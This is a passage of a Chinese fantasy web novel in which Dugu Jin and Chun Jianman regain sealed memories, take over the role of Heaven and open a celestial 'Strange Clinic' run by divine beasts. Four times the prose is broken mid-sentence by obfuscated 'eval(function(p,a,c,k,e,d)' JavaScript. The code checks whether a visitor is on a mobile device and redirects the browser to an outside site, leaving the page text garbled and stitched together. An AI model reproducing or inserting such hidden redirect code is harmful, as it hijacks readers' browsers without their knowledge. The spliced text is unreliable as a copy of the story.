“你的情劫既然是我,那肯定会有危险,提前把危险排除,你想在人间呆多久就能呆多久。”春渐满喜欢未雨绸缪,从某种角度来说,他跟画其实一样,喜欢预知到危难,把不确定的因素都排除。 “来吧,用你最擅长的手段,问它。”春渐满用下巴指了指挂在墙上装死的画。 画真没想到他的春老师是这样的人,按理说之前春老师不可能做这样的事,难不成他身上的黑雾还没除干净?! 画压根不知道春渐满已经不再单单是人类了,他现在拥有作为神木时候的记忆,自然不可能还跟人类一样柔软。 “你是打算自己老实交代还是要我让其它神兽过来逼问你?”独孤尽淡淡瞥了画一眼,他现在可不管画是不是他的法器,也不管画缄默不言都是他自己以前下的命令,他现在就只想让春渐满开心。 而显然,他的满哥和别人不同,别人可以被情绪价值满足,可以被物质满足,又或者被很多其它隐私,可他的满哥显然没什么能调动起他的情绪,除了眼前这个画。 画实在痛苦,它纠结再三,还是选择什么也不说,毕竟,不是有句老话叫少说多做,不说不错嘛? 只是一瞬,画就被隔离到了另外一个空间,它被揉扁搓圆,从闪闪亮亮的漂亮画变成了破布条。 “主人,我实在不能说,您与其问我,不如问问自己?”只要主人有了过去的回忆,也就不用再来为难它了。 “我要是记得,还用得着问你吗?”独孤尽嘴角抽了抽,他想了许久都想不起来从前的一星半点,就好像一切都是假的,他根本没有什么特殊的身份。 “您可以去酒窖看看,或许会有收获。”画就差把答案直接告诉独孤尽了。 “你的意思是,那里也封印了我的记忆?”独孤尽不太相信,他在酒窖呆了很久,有喝醉过也有纯粹呆里面消磨时间的时候,可他从未获得过什么记忆。 “时机到了,自有解答。” 独孤尽终于放过了画,他看了春渐满一眼,朝他伸出手,“跟我去个地方。” 春渐满实在有些别扭,先前只是人类的时候,他就总不好意思,更别提现在还有了神木这重身份,他更觉得面子拉不下来。 独孤尽看了会儿自己空落落的手,忽然嘴角一弯,“哦,我明白了!满哥是想让我背着你。” 春渐满耳尖瞬间爆红,“你!” “难道不是?那是想我抱着你?”独孤尽很快就接上了话茬,他展开双臂,半蹲下身,真打算公主抱春渐满。 春渐满并不矮,身形颇为健硕,反观独孤尽除了长得高一些外,纤瘦纤瘦的,看起来就不像能抱动春渐满的样子,但他能力够强,借助能力,别说公主抱一个春渐满了,让他抱一头大象都能抱起来。 没等到春渐满的回答,独孤尽直接就上手了,春渐满刚被他抱起来的一瞬就一个翻身从他身上下来,并给了他一记横扫腿。 独孤尽反应还算快,跳起来躲过了,但是脸上的笑意却加深了,“满哥这么不好意思?” “恼羞成怒了?” “没羞!”春渐满矢口否认。 “你走前面,我跟你一起过去。”没让独孤尽再说出什么虎狼之词,春渐满一掌拍在独孤尽后背,“快点。” 独孤尽脸上笑嘻嘻,走起来也乐颠颠,这一路他反复想牵春渐满的手,都没能碰到一根手指。 “满哥,你再这样,我可不给你喝汽水了。”独孤尽故作生气。 “你以为我还是他吗?”春渐满想到自己丧失人类记忆时的样子就难以接受,他居然像个孩童一样沉迷汽水。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689052|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 主要是被独孤尽抓到了小把柄。 “好好好,我们满哥不喝汽水,是我爱喝,我爱喝。”独孤尽推开酒窖的门,故意从里面挑出了两瓶汽水,瓶盖对撬打开了汽水,“真不喝?” “我们一人一瓶怎么样?开都开了。”独孤尽哄小孩很有一套,尤其是这种大型小孩。 春渐满到底还是没能拒绝,他接过那瓶汽水,跟独孤尽碰了碰。 “画说这里封印着我的记忆,你说我要怎么找到封印把封印解除呢?”独孤尽实在不想给春渐满展示他那些被涂鸦了的法器,但先前已经窥见过冰山一角了,倒是也没那么局促了。 “这些法器你有印象吗?”独孤尽把画得面目全非的法器拿起来丢给春渐满。 春渐满远远看着还觉得有些法器很眼熟,可接到手里,挨近了,满眼就都是那些幼稚的涂鸦了。 这下,原本感觉能想起来的也想不起来了,春渐满重新把法器丢回给独孤尽,“你把它擦干净。” “我也想擦干净啊,可好像这些涂鸦是用了法力弄上去的,根本清除不掉。”独孤尽找来了专门除马克笔印记的清除水,擦给春渐满看。 这回他比之前还用力,毕竟,他可不想一直丢失记忆,如果是他跟春渐满之间很甜蜜的回忆呢? 只有春渐满一个人记得岂不是太过分了。 虽然,看春渐满的样子,他们也没有什么甜蜜的回忆。 春渐满重新拿过被独孤尽已经擦得亮闪闪可怎么也去不掉涂鸦的法器,将自己的神木缠绕上去感知。 只是一瞬,春渐满就感受到了那股强烈的熟悉感,这法器……他确实见过。 好像还是他送给独孤尽的…… 有这么一瞬,春渐满真想把独孤尽揍一顿,他怎么能把他送的法器糟蹋成这样。 这样,以后还怎么使用?! 真是浪费了他一片苦心。 曾经的一片苦心。 “满哥……你怎么这么看着我?你是不是想起来什么了?”独孤尽见春渐满握着一个法器后突然愣住,再回过神的时候就是要刀死他的眼神。 “我想起来了,你是一点都想不起来啊。”春渐满有些阴阳怪气,毕竟,他送出去的礼物对方不仅忘了,还弄成这副鬼样子,谁都会生气的。 独孤尽咧嘴一笑,选择了作弊,他缆柱春渐满的脖颈,将自己的额头与他相贴,刹那间,春渐满回忆起来的记忆就被迫共享了出去。 “满哥!这是你送给我的!我想起来了!”独孤尽异常激动,这个法器正巧是他们定情时的见证。 等等……定情?! 他不是下凡来渡情劫的吗?! 满哥之前也丧失了记忆! 他千万年前就跟满哥定过情了吗?! 那岂不是……他们一同触犯了天条被打下来这种猜测更说得通?! 春渐满像是也回过神来了,“我究竟为什么会喜欢上你?!” 156. 天大的局 当有些记忆开始复苏,而重要的那部分缺失时,会非常难受,就像是小蛋糕少了最上面那颗草莓,烤肉没有生菜,涮火锅没有麻酱。 独孤尽和春渐满就处于这种状态中,两人相对无言盯着法器感受了半天,却再也感受不出更多。 “怎么办?”春渐满身上已经长满枝叶,他现在彻底呈现神木的形态,盘根错节缠绕着法器,试图能够回忆起一星半点。 “不如去之前的地方看看?”独孤尽想了想,刚刚在记忆里见到的地方……莫非就是他们下凡前呆的位置? 说不定真能直接瞬移过去。 “若是撞上天兵天将……”春渐满虽说是神木,可他千万年来一直生长在渺无人烟的地方,直到遇上了四处乱转收神兽的独孤尽。 从独孤尽的角度来看,他可能也被算在神兽的范围,毕竟他的本体应该算草木。 “莫非你并非下来渡情劫,而是来抓我的?”春渐满有了个非常大胆的猜测。 试想,独孤尽什么样的没见过,神兽里能千变万化的也有许多,性格也各不一样,而他有什么特殊的吗? 在那个时候的独孤尽眼里,该是普普通通的需要被收服的神兽一只。 “不可能,我除非眼瞎了不然不可能对你没感觉。”独孤尽极力否认,倒不是说春渐满长得有多惊为天人,女娲毕设,只是他整体的气质让他看起来……总之,别人他不清楚,但只要他见到春渐满,就一定会心动。 哪怕第一眼没反应过来,只要相处过,他就不可能不被春渐满吸引。 这点无论过多少年,他相信自己都是一样的。 “真要撞上天兵天将他们也管不了我,我正在下界渡劫,他们没办法插手。”独孤尽轻轻摇了摇头,他坚定地牵着春渐满的手,“跟我走。” 这回,他瞬移要抵达的目的地不像平时一般那么明确,几乎在广阔的空间里游走了好几遍,独孤尽才找到个熟悉的地方抵达。 这里并没有云雾缭绕,也没有仙气飘飘,甚至不如先前在黑雾中心那个区域来得像仙境。 “我们没走错?”这就像再普通不过的世界某处,唯一让人在意的就是这里空无一人。 “如若走错了,为什么会有这种熟悉感?”独孤尽觉得这里的一花一木他都见过,甚至在这里呆过很久很久,只不过在这里发生的事他记不清了而已。 是那种时间过去太久而记不清的模糊感,也正是如此,让他更加确定自己先前绝对在这里发生过什么。 若是这种似是而非的感觉,春渐满确实也有,他闭上了双眸,让枝叶蔓延开来,盘绕在每一寸土地上。 山风拂过两人,让他们逐渐变得困倦,独孤尽可不想睡,但这股困意似乎是一种强制的力量,让他不得不随着风开始混沌,思维逐渐放空。 —————————— “你收你的神兽,总来我这做什么?”千万年前,春渐满神情淡漠地坐在树杈上,从他身上蔓延出的枝条紧紧缠绕着粗壮的树干,让他无论在什么样的状态下都不会从树上掉下去。 “来看看我寻到的宝贝还在不在此处。”独孤尽那双桃花眼从数万年前开始就是那般让人捉摸不透,里面似乎藏着深情,可仔细一看,又什么都没有,清澈见底。 “给你看个可爱的小家伙。”独孤尽把他新收服的小家伙放出来给春渐满瞧。 那是一只雪白的小兔子,将将托在手心,柔软可爱。 只不过,在没收服前也很凶狠,诡计多端。 “想要吗?”独孤尽故意把玉兔送到春渐满手中,让他触碰那份柔软。 “不是我的,我不要。”春渐满冷淡地拒绝,只是看向玉兔的眼神又那么两点不舍。 “既然喜欢,就留下。”独孤尽不再接他递出去的玉兔。 尚未能化形开口说话的玉兔可气坏了,它又不是个东西,被推来推去的。 当即张开了三瓣嘴,一口咬在了春渐满手指上,为了随时防御,春渐满的手指当即被枝条覆盖,小兔子啃了一嘴的木屑,嘴里直接怼出了血,染在它那一团雪白的毛发上,别提多让人心疼了。 但独孤尽见状却生气了,他重新揪着玉兔的后脖颈,提醒它,“你既已诚心归顺,就不该忘了我是你的主人。” 玉兔实在受不住独孤尽的威压,迫于形势,终于又恢复了那副可爱的模样。 只是这下,春渐满更不可能要这只玉兔了,他本就不喜把危险留在身边,何况是这种被人送来的危险。 “你是何意?”他直接质疑了独孤尽,怀疑他居心叵测。 “我能有何意,自然是向我喜欢的献殷勤。”独孤尽当时就承认了自己的感情,那时候他身为半仙,本不该再有这些情感纠缠,因,他若一直放不下这些凡尘旧情,那他也别想真正成仙了。 春渐满自是知道这点,他作为神木,已与仙无异,可独孤尽却不同,他是半仙,终究还是会有死的一天,无法长长久久陪他,一直陪他,无论世事如何变迁,一直在他身边。 这也就是春渐满反复拒绝独孤尽的理由,他不想一个不确定的变数影响他。 “我不需要,你以后也莫要再来找我,我不想见你。”春渐满拒绝地非常直白,可以说是极其伤人了,这若换做旁人都该生气了,可独孤尽不一样,他不仅没生气,还乐起来。 “你也是喜欢我的吧,不然不会直接拒绝,让我猜猜,是因为我让你心绪乱了?是我影响到你修行了?”独孤尽一开始确实想要将春渐满收服,可他接触到一半却发现春渐满跟别的神兽不一样。 别的神兽在情致方面大多一知半解,很多甚至根本就无情,而春渐满是最像人类的,尽管据他了解,春渐满就是一棵久久矗立在原地的神树。 “你在此处,常常接收到万民祈求,他们祈求的那么多,那么贪婪,让你逐渐了解了情爱,可你却无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689053|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝试,因为你是一棵神树,无论是年龄、身份、能力,这些人类都无法跟你并肩,你了解了情绪,却无法畅快地享受情绪。” “你不觉得那些让你感受到情绪的人很可恨,很可恶吗?” “他们可恶吗?他们作为人类,天生就有那些情绪,有了那些情绪,就会奢望那些不该有的,向我祈祷,许愿……”春渐满依旧淡淡,他不觉得人类可恶,反而觉得他们很可怜。 “你做过伤人的事吗?”独孤尽不知出于何意,问了这么一句。 这一句像是触及了春渐满的逆鳞,他直接甩出枝条,将独孤尽抽飞出去,“自然,我现在就在伤人。” 独孤尽当时的能力已经在春渐满之上了,且因收服神兽的功劳,只差一步就能位列仙班,他必须舍弃自己的所有情感,悲天悯人,又不被旁的影响,才能成为真正的仙。 他自问,做不到这点,虽然他收服了这么多神兽,似乎见多了惨事就该习惯,但他永远也习惯不了,包括见到春渐满,他一开始是想将春渐满收服的,但他观察了春渐满很久,他从未害人,人们也习惯了他,总把希望寄托在他身上。 他没办法对这样的神木下手,况且这样的神木还总让荒芜的地方开满鲜花,给予世间希望。 —————————— 许久之后,上天再一次找到他。 “最后问你一次,半仙独孤尽,你可愿舍弃七情六欲?” “抱歉,就不能做个有情有义的神仙吗?”独孤尽依旧秉承着自己的处事风格。 “你若有情有义,遇到世间不公之事时该如何?” “自是能帮则帮,总不能让恶为祸人间。”独孤尽直抒胸臆。 “那天底下的事你能帮得过来吗?若是帮不过来,岂不是不公?” “苍天若公,我就该见恶也视若无睹吗?若如此,我宁愿天下人骂苍天不公,有一处恶消弭也好过处处都存在好。”独孤尽继续坚持己见,“如若因此无法修成正果,可见这正果也不是什么好果子。” 独孤尽是负气回答的上天,上天听闻独孤尽的话却半点不恼,只是平淡地给了他一个建议。 “你且自行封印记忆下凡去帮那些人,有些事只有感受过了,才能大彻大悟。” “我能让神木与我一同吗?兴许我的劫要与他一起,才能渡。”独孤尽说到此处,心中有热血沸腾,“他是我的情劫,总要一同感受。” “可。” —————————— 从那天起,独孤尽就为自己布了一个天大的局,他既要让自己失去记忆,还要让春渐满心甘情愿陪他一起封印记忆下凡去。 春渐满猛地睁开眼睛,他化枝条为鞭,狠狠抽打在独孤尽屁股上。 “哎呦!神木,神木,别打我了!这和当时说好的不一样啊……”独孤尽知道混杂了人类记忆的春渐满已经不是纯粹的神木了,但他也已不是当时的他。 157. 可恶的上天 “你竟然敢诓骗我,让我陪你一起封印记忆变成凡人体验人间。”春渐满虽义愤填膺斥责着独孤尽,可他夺回这份记忆时,那股鲜活的,想要来人间的兴奋感是他自发的。 他本就想感受一下人间烟火,看看那些冲着他这神木许愿的人类到底生活在什么样的世界里,为什么每个人都有那么多烦恼,当然也不全是烦恼,也有喜事,乐事,可无论是好事还是坏事,他们都情绪充沛,让他好奇。 只不过,封印记忆后,他也不知道自己会投在哪家人,会有怎样的生活。 兴许是神木的职责所在,他竟在人间也在帮大家实现愿望,虽然是用公职的身份,帮助大家解决各种难题。 而且,他在人间虽只有数十载,可却处理了太多案件,除去加入“怪奇诊所”后遇到的,原先他也一直在接触人类中更为情绪强烈的群体,无论是施害者还是受害者,每个人的情绪都过于强烈。 现在……他已不再是以前纯粹的神木,不懂人间疾苦的神木,他切身感受过了这些七情六欲,并……在不知不觉中喜欢上了独孤尽,这个狡猾的独孤尽! 春渐满的眼眶微红,是情绪过激所致。 独孤尽见春渐满这么恼,一时间也不知道该怎么哄他才好了,他抓了抓脑袋,暗自叹了口气,数万年前就是他诓骗的春渐满,让他陪他一起来人间受苦,而且,为了从新开始,他不仅封印了自己的记忆,还让春渐满陪他一同封印了,在没有因为“怪奇诊所”相遇前,他们甚至互不相识,他是直接丢春渐满在人间了,全然没有管他。 “你该生气。”半晌,独孤尽只憋出了这么一句。 但是他不后悔让春渐满陪他。 且经过了这么多事,他仍旧不想收服春渐满,他认为春渐满跟他的神兽们都不同,神兽虽然也在人间生活过,可它们毕竟不是真正的人类,跟人类有着本质上的区别。 但春渐满不一样,他现在该是满溢着人类的情绪。 “既然上天要你收了我,我自是愿意被你收服,助你成为真神。”春渐满认为即便他没人类的这些记忆,就算是当初,也是愿意帮独孤尽的。 况且,被独孤尽收服也不是一件坏事,跟着独孤尽这样的主人,不会受苦,甚至不会受委屈。 “你现在还这么想吗?”独孤尽眼里全是坚定,他相信春渐满会给他不一样的答案。 “我……”春渐满愣了愣,他现在自然是不想作为一个下属,他想要跟独孤尽并肩作战,他也并不比独孤尽差在哪儿。 且……他跟其他神兽不同,他不需要别人庇护,也不会伤害别人,他有明辨是非的能力,不用别人来引导。 “你早就知道我会转变心意?”春渐满忽然明白了什么,他仰面看着独孤尽,手中枝条愈发尖锐。 独孤尽看着枝条头皮发麻,觉得自己但凡说错,就得被万枝穿心。 “你不用说了。”春渐满也不想独孤尽听说那些气人的话。 或者说,现在无论独孤尽说什么,都会让他生气。 “你从那个时候开始就这么喜欢我了?”春渐满还是心情复杂,他那时候作为神木,还真没多少人类的情,除了觉得独孤尽时常去打扰他很烦,就是他不去找他的时候觉得有些太静了。 除此之外,他并不会觉得难受,那时候的他确实不懂七情六欲。 兴许,独孤尽努力上个千年,能让他接受他的存在,却远不比让他为人体验一把来得深刻。 “难道你要为苍生做主也是假的?” “这是真的……我只是没想到我的人类性格会这么……咸鱼。”独孤尽确实从未想过变成人类后,他会成为一个无所事事的富二代。 虽本心一直非常正直,但奈何他是个咸鱼,什么事都不乐意做,一直到画那件法器按照他的吩咐找上来,才被迫开始为苍生做主。 虽然画最后被迫开口说了话,但它已经做得够好,若非如此,他跟春渐满活到老都不可能有交集。 一个是聪明异常的特警,一个是闲来无事招猫逗狗的富二代,除非是他做了什么混账事,不然他们永远不可能有交集。 “你……你可还愿意陪我一同去天上?”独孤尽现在倒是摸不准春渐满的意思了。 他不确定知道了这些,春渐满还喜不喜欢他。 “我现在这样去天上也成不了仙。”春渐满比独孤尽明白,成仙的条件,且他当时的状态更像仙,如若他再受万人崇拜多年,这些念力能够让他顺理成章成仙,可现在…… 他被太多凡尘的情绪缠绕,想要成仙,除非他再去渺无人烟的地方修炼上万年,才有希望。 “这可不一定。”独孤尽轻轻摇了摇头,他一副胸有成竹的样子看得春渐满实在摸不着头脑。 “你有其他办法?” “自然是有,数万年前就有。”独孤尽看向远处,只不过恐怕上天都没想过他会如此。 “先回去一趟,我有些话要跟神兽们说。”独孤尽朝春渐满伸出了手。 “我在这里等你。”春渐满并不想跟独孤尽回画里。 他还想在这里多呆一会儿,说不定能想起更多独孤尽的混账事。 “真不跟我一起?”独孤尽眉眼弯了弯,把手往前伸了伸。 “走吧。”独孤尽没等春渐满再犹豫,牵住了他的手,直接回到了画里。 “恭迎主人……” “全都找回来了吗?”独孤尽问的是神兽是否全都归位了。 他阖眸感受了一番,应是全都回了画里。 “既如此,都随我回天上吧。” “主人!您终于不体验人间了?!”有些神兽已经激动得跳了起来,可也有一些面露愁容,“那我们岂不是没办法享受人间那些好玩的有趣的了……” 独孤尽向来都是一言堂,他没等神兽们议论,只是心念转动,周围空间变幻莫测,最终所有神兽都被他封在画中,而画变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689054|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了巴掌大的法器。 春渐满没明白独孤尽到底想干什么,可见到上天时,春渐满还是感受到了前所未有的威压。 那是一种不怒自威的肃穆,可独孤尽却浑然不怕,毕竟……等会儿他还得倒反天罡呢。 “此次下凡历劫,你可看明白了?” “看明白了,想清楚了,所以找您。”独孤尽面上平静无波。 “可神木,你还未收服。”春渐满的身上根本没有属于独孤尽的印记。 “我是未形式上的将他收服,可他的心已经在我这里了。”独孤尽唇边露出些笑意,随后更加坚定地与上天对峙。 “所以,他跟那些神兽皆不同,神兽只是形式上被我收服,可心随时都会走。” “此次找您,是为了告诉您一件事,我要将‘怪奇诊所’开在天上。”独孤尽说的话极其狂妄,且他并未说笑,春渐满都惊了一跳,纵使是他,也知绝无人会对上天这般语气。 “凡间还是多有不便,且要惩治恶人,消弭恶事有诸多顾忌,但在天上就不同了,这是天罚。”独孤尽丝毫不在意自己只是个半仙,这天上像是已经有了他的一席之地一般。 “你救不过来,也治不过来。”上天依旧不赞同。 “既然您不想肩负这份责任,不如,上天这个名头也交由我,此后,凡间再有人骂上天,那骂得便是我,与您无关。”独孤尽说出这话时,春渐满冷汗瞬间爬满了背脊。 可上天依旧未恼,只是怜悯地看了独孤尽一眼,“你能肩负住吗?若你能肩负得了,交由你又有何妨。” “等等……我是不是中计了?!您是不是一早就想摆脱这个责任?!”独孤尽忽然反应过来,这下他没办法保持冷静了,脸都红了。 “既已交由你,那天下之事,就任由你摆布,相信你很快就会明白,不为才是最该做的。” “等等!”纵使独孤尽再挽留,上天都没再停留,直接离开了。 偌大的天上,只剩独孤尽和春渐满。 说到底,独孤尽连天上都没能真正踏入,空有一身的本事,和一腔热忱。 “满哥,我被捉弄了……这哪里是想让我自己看清帮人有多难,明明是要做甩手掌柜,把什么都丢给我!”怪不得…… 独孤尽忽然想起数万年前他刚拜见上天的时候,对方的眼睛是那般亮,像是看到了希望。 “我怎么又把自己压成牛马了!”独孤尽作为人类时的咸鱼属性时刻影响着他。 “虽然我现在有了之前的记忆,也知道自己想要为天下苍生做事,可这么被人算计还是好不甘心!尤其是!这个陷阱还是我心甘情愿跳进去的!” “实在太可恶了!上天实在太可恶了!”独孤尽忿忿不平。 “别骂了,呆瓜,现在上天已经是你了,你这么骂是在骂自己。”春渐满叹了口气,上前握住独孤尽的手,轻轻拥抱住啦他。 “我会在你身边,一直。” 158. 在天上选址 那位原上天说不管就真不管了,所有的一切都交给了独孤尽,独孤尽倒是也没去接触其他神仙,他在天上另辟了一块天地,用来开他的“怪奇诊所”。 等选址确定好后,独孤尽就把封印在画里的神兽们全都放了出来。 “主人,这是哪儿?”神兽们觉得这地方有点眼熟,但又很陌生,一时间不敢确定。 “回天上了。”独孤尽言简意赅,有眼睛的神兽应该都能发现他的变化,至于那些特别不灵光的,就等其他神兽去提醒吧。 “主人,您历劫结束了?!” “主人您成为真神了吗?!” 神兽们一听回了天上,异常兴奋,如果主人成了真的神仙,那它们这些跟着主人的也能扬眉吐气。 “我都……被迫变成天上的劳模了。”独孤尽哀叹,他必须培养这些神兽,让它们懂得替主子分忧。 “你们且听我说,我现在要把‘怪奇诊所’开在天上,要始终做这替天行道的事,当然现在这个天是我,所以你们还是替我做事。”独孤尽的眼神极其锐利,他扫视过众神兽,想看看有谁要跳出来反对。 可让他意外的是,并无神兽跳出来反对,大家全都微垂着脑袋,是臣服的姿态。 独孤尽喊住了九尾狐,“怎么回事?” 九尾狐自然知道独孤尽问的是什么,她狡黠一笑,“阿尽放心,它们现在都很乖,和鹌鹑一样,不会有反心,具体是因为什么,就不方便告诉你啦。” “是你。”独孤尽说的是肯定句,绝对是九尾狐搞的鬼。 “对,不过春老师也起到了至关重要的作用,可以说,如果没有春老师,我也不可能做成。”九尾狐想到此处就乐出了声。 其实她不过是告诉众神兽,主人要追春老师,它们作为婆家人必须拿出点样子,要帮主人把人追到,要给足主人面子,之后主人说什么都要恭敬,就算有问题想质疑,也要等主人把心上人追到手。 但这件事她既不能告诉独孤尽也不能告诉春渐满,更不允许其它神兽说出去,虽然用的理由是怕春老师脸皮薄,知道之后更不会跟主人在一起,可实际上,她只是怕被拆穿。 现在,神兽们不仅完全听独孤尽的话,更是对她也言听计从,毕竟她作为神兽里最有脑子的代表之一,神兽们都怕哪里做得不好,让主人追不到人,到时候主人迁怒它们,它们可就得做苦力了。 它们之中已经有好些都不想再到“怪奇诊所”去执行任务了,虽然执行完任务总会有奖励,有时候甚至可以获得去人间潇洒的时间,可说到底这时间短暂,根本不够干些什么,而且自从画里有了人间的那些布置,它们也不是非得去人间了。 “任凭主人吩咐。”神兽们敢怒不敢言,它们真不想替天行道,太累了,虽然总能折磨恶人,可有些恶人着实可恶,折磨半天好不容易让它们能心甘情愿去自首,反倒是弄得像被它们逼迫了一样。 尤其……有些神兽从前并未做过害人的事,就更难下手了。 “既如此,从现在开始,‘怪奇诊所’在人间的那个分所就会变成唯一留在人间的,我们天上的本所里分为三个工种,一个专门用来惩治恶人,我会让好斗的神兽负责这块,一个专门用来寻找恶人,这部分我会让机灵聪敏的神兽负责。”说到这里的时候独孤尽看了一眼九尾狐。 “还有一个工种,负责记录每次的案件,分析这些恶人出现的原因,尽量做到预防。”独孤尽看了看画这件法器,画的预示功能能起到很大的作用。 如果可以将所有恶事都扼杀在萌芽阶段,那就不会有那么多惨剧了。 “虽然我现在能够治疗人身上的疾病,但还是老规矩,‘怪奇诊所’只治心病,不治生理疾病。”他能做的就是将恶扼杀,可生老病死乃天道轮回,他不欲破坏天道常伦。 试想,如果所有人都能不生病,那何来轮回,人们会长长久久一直生活下去,也会一直繁衍,到最后,人间都住不下。 生老病死不该有任何人干涉,即便好人生病,那也只是为了进入下一次轮回罢了,可恶人害人枉死却不同,虽然有些人命里就该有此劫难,但该受到惩罚的明明是恶人。 这是独孤尽一个人坚信的道,这并非原先的天道,可现在,已经纳入天道。 “现在,所有神兽先进行第一轮分工,你们自行选择觉得自己能够胜任的工种,之后我会进行第二次排查。”独孤尽不浪费一分一秒,他要在最快的时间里试运营,让退位的上天看看,他才是正确的。 “主人……我斗胆想问一句。”有神兽还是忍不住开了口。 独孤尽点了点头,“你说。” “既然我们已经回到了天上,为何不直接将恶人碾死?”神兽问出这话时额头上就冒出了细密的汗珠,虽然它知道自己不可能有危险,可还是扛不住那股威压。 “你倒是告诉我,怎么碾死?”独孤尽饶有兴趣,他还真想知道。 “按主人现在的能力,碾死一个凡人不是易如反掌?” “确实易如反掌,但你见过哪个正经神仙会杀凡人?”独孤尽都快气笑了,“少看些人类的杂书,别把邪神也当神了。” “阎王……黑白无常不都……” “人家阎王只是在办公!命数是早就定下的,黑白无常也只是在人死后过来勾魂。”独孤尽现在是哭笑不得,他觉得给神兽们增强常识的计划还得继续执行,且任重道远。 他把目光投向春渐满,“满哥,这些神兽们的常识课和文化课还得由你来教授。” “这些用不着我,神兽里有好几位成绩好的已经能为师,足够教其它神兽了。”春渐满把这个差事推了,他可不想再给这些神兽当老师了,虽然他和神兽们相处得非常和睦,但拥有了神木记忆的他,没有了那份作为人类时独有的耐心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689055|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>九尾狐再次接收到了投给她的目光,“不行,我最多担任一职,我没法身兼数职,我还要睡美容觉呢。” “你已经是神兽了,就算不睡觉都不会影响你的美貌。”独孤尽驳回了九尾狐的推诿,“能者多劳,不可再拒绝。” “阿尽,不带这么欺负我的,虽然我之前是犯过错,但我已经悔过了!”九尾狐继续为自己求饶,她说着还看向了耳鼠,耳鼠这回没帮她说话,毕竟现在帮忙,可能连它也要遭殃。 耳鼠甩甩尾巴,干脆站到了后面,掩藏在其它神兽里。 “现在开始执行第一步!”独孤尽发号施令,神兽们很有眼力见,立马开始站队,只不过有一些不太确定自己该分在哪个部门,毕竟……有些神兽觉得自己好像有点聪慧,可承认自己聪慧就像是在自傲一样,便不肯选了。 到最后,居然是执行部的神兽最多,这是独孤尽没料到的,他先前觉着会选择寻找恶人的神兽比较多,毕竟如果选择这个部门,可以经常出外勤,时不时到人间晃悠,真的闲逛了他也不知道。 当然,不能一直闲逛毫无收获,否则,这么大的破绽除非他瞎了才会发觉不了。 可即便如此,这也是个肥差,该是这些神兽最喜欢的,但如今,竟是想要严刑拷问恶人的居多。 “你们都选好了?”独孤尽又确认了一下,神兽们并未移动站位,他这才进行排查,将有些明明很聪慧却选择了去拷问恶人的拉出来,放回了它们该去的地方。 这么一调整,拷问恶人的部门明显人手不足,春渐满用枝条狠狠抽了独孤尽一记,“你分配得也不怎么样。” “还请春老师多多指教。”独孤尽偷偷揉了两下被打疼的屁股,冲着春渐满傻笑,“好斗的神兽并不多……” “谁规定一定要□□好斗吗?如果我没记错,‘怪奇诊所’更多的是精神层面的治疗。”春渐满顿了顿,朝几个治愈系看过去,“你们过来,站这边。” 春渐满的话谁也没听,那些治愈系的是真不想去惩治恶人。 这回春渐满还没生气,独孤尽就气极了,他周身的温度直接下降,神兽们想起九尾狐的叮嘱,明白这是因为他们驳了春渐满的面子,所以他们的主人独孤尽破防了。 神兽们暗自叹气,谁家主人追个人还得它们这么多神兽配合的。 “春老师,我们来了。”治愈系的不愧拥有治愈的能力,它们才刚说了一句话,做出了一个态度,独孤尽就脸色缓和了。 谁能告诉它们,它们的主人竟然是个恋爱脑,这合适吗?这应该吗? “主人!我感知到了一股不详。”忽然,这只预知部门的神兽神色扭曲起来,“气死老子了,那家伙算什么人!” 独孤尽顺着这只神兽的感应线看到了凡间即将发生的一桩惨剧…… 是时候,出山了,否则世人都要忘了还有“怪奇诊所”这么个约束了! 159. 荼毒幼童 “就全权交给它们去办了?”春渐满看着躺在云层上优哉游哉的独孤尽。 他的面前正摆着一面显示器,这面显示器极其眼熟,正是画这个法器,它现在实时给独孤尽播放着神兽们处理罪犯的画面。 “这回不过是世界刚恢复常态,有些习惯了之前混乱世界的人一时间没法接受正常的世界在闹事情。”那些原本心里就藏着些坏点子的人,只需要一点点混乱就能让心中的恶兽跑出来肆意闯祸,现在一切恢复正常却没办法把恶兽关回去了。 